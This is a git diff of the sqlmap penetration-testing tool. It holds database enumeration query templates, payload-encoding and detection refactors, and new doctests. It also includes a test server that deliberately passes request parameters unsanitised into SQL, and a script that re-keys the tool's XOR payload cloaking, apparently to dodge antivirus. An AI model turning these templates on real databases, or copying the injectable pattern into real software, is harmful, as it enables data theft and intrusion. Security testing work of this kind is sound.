<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
<inband query="SELECT attname,typname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
<blind query="SELECT attname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
</columns>
<dump_table>
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
@@ -1386,8 +1386,8 @@
<blind query="SELECT DISTINCT(table_schema) FROM information_schema.tables WHERE %s" query2="SELECT table_name FROM information_schema.tables WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.tables WHERE %s" count2="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
</search_table>
<search_column>
<inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
<blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
<inband query="SELECT nspname,relname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
<blind query="SELECT DISTINCT(nspname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
</search_column>
</dbms>
+3
View File
@@ -6,14 +6,17 @@
# Version 1.3 (2019-01-05)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
# Version 1.2 (2018-01-08)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
# Version 1.1 (2017-04-07)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
# Version 1.0 (2016-02-27)
+1 -1
View File
@@ -277,7 +277,7 @@ be bound by the terms and conditions of this License Agreement.
* The `bottle` web framework library located under `thirdparty/bottle/`.
Copyright (C) 2012, Marcel Hellkamp.
* The `identYwaf` library located under `thirdparty/identywaf/`.
Copyright (C) 2019, Miroslav Stampar.
Copyright (C) 2019-2020, Miroslav Stampar.
* The `ordereddict` library located under `thirdparty/odict/`.
Copyright (C) 2009, Raymond Hettinger.
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
+1 -1
View File
@@ -32,7 +32,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
python sqlmap.py -hh
Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Liens
+2 -2
View File
@@ -2,7 +2,7 @@
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
Tangkapan Layar
----
@@ -43,7 +43,7 @@ Tautan
* Situs: http://sqlmap.org
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+1 -2
View File
@@ -14,8 +14,7 @@ Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sql
Instalação
----
Você pode baixar o arquivo tar mais recente clicando [aqui]
(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
+1 -1
View File
@@ -21,7 +21,7 @@ if sys.version_info >= (3, 0):
xrange = range
ord = lambda _: _
KEY = b"Beeth7hoyooleeF0"
KEY = b"MOZFqVjlk1CY436G"
def xor(message, key):
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
Binary file not shown.
Binary file not shown.
Binary file not shown.
+1 -1
View File
@@ -7,7 +7,7 @@
export SQLMAP_DREI=1
#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i | sed 's/Compiling/Checking/g'; done
for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done
unset SQLMAP_DREI
source `dirname "$0"`"/junk.sh"
+16
View File
@@ -0,0 +1,16 @@
#!/bin/bash
# NOTE: this script is for dev usage after AV something something
DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P)
cd $DIR/../..
for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done
cd $DIR/../cloak
sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py
cd $DIR/../..
for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done
git clean -f > /dev/null
+5 -1
View File
@@ -9,6 +9,7 @@ See the file 'LICENSE' for copying permission
from __future__ import print_function
import base64
import json
import re
import sqlite3
@@ -146,7 +147,10 @@ class ReqHandler(BaseHTTPRequestHandler):
if "query" in self.params:
_cursor.execute(self.params["query"])
elif "id" in self.params:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
if "base64" in self.params:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode())
else:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
results = _cursor.fetchall()
output += "<b>SQL results:</b><br>\n"
+22 -11
View File
@@ -30,6 +30,7 @@ from lib.core.common import getSortedInjectionTests
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import intersect
from lib.core.common import isDigit
from lib.core.common import joinValue
from lib.core.common import listToStrValue
from lib.core.common import parseFilePaths
@@ -117,7 +118,7 @@ def checkSqlInjection(place, parameter, value):
threadData = getCurrentThreadData()
# Favoring non-string specific boundaries in case of digit-like parameter values
if value.isdigit():
if isDigit(value):
kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
boundaries = kb.cache.intBoundaries
elif value.isalpha():
@@ -226,8 +227,8 @@ def checkSqlInjection(place, parameter, value):
# Skip test if the user's wants to test only for a specific
# technique
if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
debugMsg = "skipping test '%s' because the user " % title
debugMsg += "specified to test only for "
debugMsg = "skipping test '%s' because user " % title
debugMsg += "specified testing of only "
debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
logger.debug(debugMsg)
continue
@@ -501,6 +502,7 @@ def checkSqlInjection(place, parameter, value):
# Useful to set kb.matchRatio at first based on False response content
kb.matchRatio = None
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
suggestion = None
Request.queryPage(genCmpPayload(), place, raise404=False)
falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
@@ -568,7 +570,7 @@ def checkSqlInjection(place, parameter, value):
candidates = sorted(candidates, key=len)
for candidate in candidates:
if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
conf.string = candidate
suggestion = conf.string = candidate
injectable = True
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
@@ -579,7 +581,7 @@ def checkSqlInjection(place, parameter, value):
if injectable:
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
if all((falseCode, trueCode)) and falseCode != trueCode:
conf.code = trueCode
suggestion = conf.code = trueCode
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
logger.info(infoMsg)
@@ -604,7 +606,7 @@ def checkSqlInjection(place, parameter, value):
if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
break
conf.string = candidate
suggestion = conf.string = candidate
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.string).lstrip('u').strip("'"))
logger.info(infoMsg)
@@ -618,12 +620,12 @@ def checkSqlInjection(place, parameter, value):
if re.match(r"\A\w+\Z", candidate):
break
conf.notString = candidate
suggestion = conf.notString = candidate
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % ("%s " % paramType if paramType != parameter else "", parameter, title, repr(conf.notString).lstrip('u').strip("'"))
logger.info(infoMsg)
if not any((conf.string, conf.notString, conf.code)):
if not suggestion:
infoMsg = "%sparameter '%s' appears to be '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
singleTimeLogMessage(infoMsg)
@@ -650,7 +652,7 @@ def checkSqlInjection(place, parameter, value):
except SqlmapConnectionException as ex:
debugMsg = "problem occurred most likely because the "
debugMsg += "server hasn't recovered as expected from the "
debugMsg += "error-based payload used ('%s')" % getSafeExString(ex)
debugMsg += "used error-based payload ('%s')" % getSafeExString(ex)
logger.debug(debugMsg)
# In case of time-based blind or stacked queries
@@ -854,7 +856,9 @@ def checkSqlInjection(place, parameter, value):
logger.warn(warnMsg)
if not checkFalsePositives(injection):
kb.vulnHosts.remove(conf.hostname)
if conf.hostname in kb.vulnHosts:
kb.vulnHosts.remove(conf.hostname)
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)
@@ -875,8 +879,12 @@ def heuristicCheckDbms(injection):
to identify with a simple DBMS specific boolean-based test what the DBMS
may be
"""
retVal = False
if conf.skipHeuristics:
return retVal
pushValue(kb.injection)
kb.injection = injection
@@ -1030,6 +1038,9 @@ def checkFilteredChars(injection):
kb.injection = popValue()
def heuristicCheckSqlInjection(place, parameter):
if conf.skipHeuristics:
return None
if kb.heavilyDynamic:
debugMsg = "heuristic check skipped because of heavy dynamicity"
logger.debug(debugMsg)
@@ -1580,7 +1591,7 @@ def checkConnection(suppressOutput=False):
kb.originalPage = kb.pageTemplate = threadData.lastPage
kb.originalCode = threadData.lastCode
if conf.cj and not conf.cookie and not conf.dropSetCookie:
if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie:
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
message = "you have not declared cookie(s), while "
+8 -2
View File
@@ -291,7 +291,7 @@ def start():
logger.error(errMsg)
return False
if kb.targets and len(kb.targets) > 1:
if kb.targets and isListLike(kb.targets) and len(kb.targets) > 1:
infoMsg = "found a total of %d targets" % len(kb.targets)
logger.info(infoMsg)
@@ -386,7 +386,7 @@ def start():
message += "\nCookie: %s" % conf.cookie
if conf.data is not None:
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
if conf.forms and conf.method:
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
@@ -704,6 +704,12 @@ def start():
action()
except KeyboardInterrupt:
if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
kb.multipleCtrlC = True
raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)")
kb.lastCtrlCTime = time.time()
if conf.multipleTargets:
warnMsg = "user aborted in multiple target mode"
logger.warn(warnMsg)
+34 -10
View File
@@ -42,6 +42,7 @@ from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
from lib.core.enums import POST_HINT
from lib.core.exception import SqlmapNoneDataException
from lib.core.settings import BOUNDED_BASE64_MARKER
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
@@ -183,15 +184,19 @@ class Agent(object):
newValue = self.adjustLateValues(newValue)
# TODO: support for POST_HINT
newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER)
if parameter in kb.base64Originals:
origValue = kb.base64Originals[parameter]
else:
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
_ = "%s%s" % (origValue, kb.customInjectionMark)
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
else:
newValue = self.addPayloadDelimiters(newValue)
@@ -393,6 +398,10 @@ class Agent(object):
"""
if payload:
for match in re.finditer(r"%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
_ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
payload = payload.replace(match.group(0), _)
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
@@ -462,6 +471,12 @@ class Agent(object):
@rtype: C{str}
"""
match = re.search(r"(?i)(.+)( AS \w+)\Z", field)
if match:
field, suffix = match.groups()
else:
suffix = ""
nulledCastedField = field
if field and Backend.getIdentifiedDbms():
@@ -481,6 +496,12 @@ class Agent(object):
if conf.hexConvert or kb.binaryField:
nulledCastedField = self.hexConvertField(nulledCastedField)
if suffix:
nulledCastedField += suffix
if not kb.nchar:
nulledCastedField = re.sub(r"( AS )N(CHAR|VARCHAR)", r"\g<1>\g<2>", nulledCastedField)
return nulledCastedField
def nullCastConcatFields(self, fields):
@@ -524,6 +545,7 @@ class Agent(object):
nulledCastedFields = []
for field in fieldsSplitted:
field = re.sub(r"(?i) AS \w+\Z", "", field) # NOTE: fields such as "... AS type_name" have to be stripped from the alias part for this functionality to work
nulledCastedFields.append(self.nullAndCastField(field))
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter)
@@ -770,7 +792,6 @@ class Agent(object):
elif fieldsNoSelect:
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
return concatenatedQuery
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
@@ -1198,12 +1219,15 @@ class Agent(object):
def whereQuery(self, query):
if conf.dumpWhere and query:
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
if match:
suffix = match.group(0)
prefix = query[:-len(suffix)]
if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None:
prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
else:
prefix, suffix = query, ""
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
if match:
suffix = match.group(0)
prefix = query[:-len(suffix)]
else:
prefix, suffix = query, ""
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
@@ -1213,7 +1237,7 @@ class Agent(object):
prefix += " WHERE %s" % conf.dumpWhere
query = prefix
if suffix:
if suffix and not all(re.search(r"ORDER BY", _, re.I) is not None for _ in (query, suffix)):
query += suffix
return query
+84 -16
View File
@@ -58,6 +58,7 @@ from lib.core.convert import getText
from lib.core.convert import getUnicode
from lib.core.convert import htmlUnescape
from lib.core.convert import stdoutEncode
from lib.core.data import cmdLineOptions
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -214,7 +215,7 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser):
fp.write("[%s]\n" % _configparser.DEFAULTSECT)
for (key, value) in self._defaults.items():
fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
fp.write("\t%s = %s" % (key, getUnicode(value, UNICODE_ENCODING)))
fp.write("\n")
@@ -224,9 +225,9 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser):
for (key, value) in self._sections[section].items():
if key != "__name__":
if value is None:
fp.write("%s\n" % (key))
else:
fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
fp.write("\t%s\n" % (key))
elif not isListLike(value):
fp.write("\t%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING)))
fp.write("\n")
@@ -630,7 +631,8 @@ def paramToDict(place, parameters=None):
if parameter in (conf.base64Parameter or []):
try:
oldValue = value
kb.base64Originals[parameter] = oldValue = value
value = urldecode(value, convall=True)
value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
except:
@@ -969,8 +971,9 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
if match:
retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
for match in re.finditer(r"([^\w])'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner)
retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
if not any(_ in message for _ in ("Payload: ",)):
for match in re.finditer(r"([^\w])'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner)
retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
message = message.strip()
@@ -1050,6 +1053,16 @@ def dataToDumpFile(dumpFile, data):
raise
def dataToOutFile(filename, data):
"""
Saves data to filename
>>> pushValue(conf.get("filePath"))
>>> conf.filePath = tempfile.gettempdir()
>>> "_etc_passwd" in dataToOutFile("/etc/passwd", b":::*")
True
>>> conf.filePath = popValue()
"""
retVal = None
if data:
@@ -1347,7 +1360,7 @@ def banner():
if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
result = BANNER
if not IS_TTY or "--disable-coloring" in sys.argv:
if not IS_TTY or any(_ in sys.argv for _ in ("--disable-coloring", "--disable-colouring")):
result = clearColors(result)
elif IS_WIN:
coloramainit()
@@ -1713,6 +1726,11 @@ def escapeJsonValue(value):
Escapes JSON value (used in payloads)
# Reference: https://stackoverflow.com/a/16652683
>>> "\\n" in escapeJsonValue("foo\\nbar")
False
>>> "\\\\t" in escapeJsonValue("foo\\tbar")
True
"""
retVal = ""
@@ -1732,7 +1750,7 @@ def expandAsteriskForColumns(expression):
the SQL query string (expression)
"""
match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression)
match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+((`[^`]+`|[^\s]+)+)", expression)
if match:
infoMsg = "you did not provide the fields in your query. "
@@ -1887,6 +1905,12 @@ def getLocalIP():
def getRemoteIP():
"""
Get remote/target IP address
>>> pushValue(conf.hostname)
>>> conf.hostname = "localhost"
>>> getRemoteIP() == "127.0.0.1"
True
>>> conf.hostname = popValue()
"""
retVal = None
@@ -2013,6 +2037,9 @@ def normalizePath(filepath):
def safeFilepathEncode(filepath):
"""
Returns filepath in (ASCII) format acceptable for OS handling (e.g. reading)
>>> 'sqlmap' in safeFilepathEncode(paths.SQLMAP_HOME_PATH)
True
"""
retVal = filepath
@@ -2045,6 +2072,8 @@ def safeStringFormat(format_, params):
>>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1'))
'SELECT foo FROM bar LIMIT 1'
>>> safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ('bar', '1'))
"SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1"
"""
if format_.count(PAYLOAD_DELIMITER) == 2:
@@ -2088,7 +2117,10 @@ def safeStringFormat(format_, params):
warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS)
raise SqlmapValueException(warnMsg)
else:
retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
try:
retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
except re.error:
retVal = retVal.replace(match.group(0), match.group(0) % params[count], 1)
count += 1
else:
break
@@ -2219,6 +2251,15 @@ def isHexEncodedString(subject):
def isMultiThreadMode():
"""
Checks if running in multi-thread(ing) mode
>>> isMultiThreadMode()
False
>>> _ = lambda: time.sleep(0.1)
>>> thread = threading.Thread(target=_)
>>> thread.daemon = True
>>> thread.start()
>>> isMultiThreadMode()
True
"""
return threading.activeCount() > 1
@@ -2227,6 +2268,9 @@ def isMultiThreadMode():
def getConsoleWidth(default=80):
"""
Returns console width
>>> any((getConsoleWidth(), True))
True
"""
width = None
@@ -2433,6 +2477,9 @@ def initCommonOutputs():
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
"""
Returns newline delimited items contained inside file
>>> "SELECT" in getFileItems(paths.SQL_KEYWORDS)
True
"""
retVal = list() if not unique else OrderedDict()
@@ -2539,8 +2586,8 @@ def goGoodSamaritan(prevValue, originalCharset):
def getPartRun(alias=True):
"""
Goes through call stack and finds constructs matching conf.dbmsHandler.*.
Returns it or its alias used in 'txt/common-outputs.txt'
Goes through call stack and finds constructs matching
conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt'
"""
retVal = None
@@ -3391,7 +3438,7 @@ def setOptimize():
# conf.predictOutput = True
conf.keepAlive = True
conf.threads = 3 if conf.threads < 3 else conf.threads
conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
if not conf.nullConnection:
@@ -3568,7 +3615,7 @@ def isListLike(value):
False
"""
return isinstance(value, (list, tuple, set, BigArray))
return isinstance(value, (list, tuple, set, OrderedSet, BigArray))
def getSortedInjectionTests():
"""
@@ -4733,7 +4780,7 @@ def serializeObject(object_):
"""
Serializes given object
>>> type(serializeObject([1, 2, 3, ('a', 'b')])) == six.binary_type
>>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str
True
"""
@@ -4963,6 +5010,14 @@ def decloakToTemp(filename):
>>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
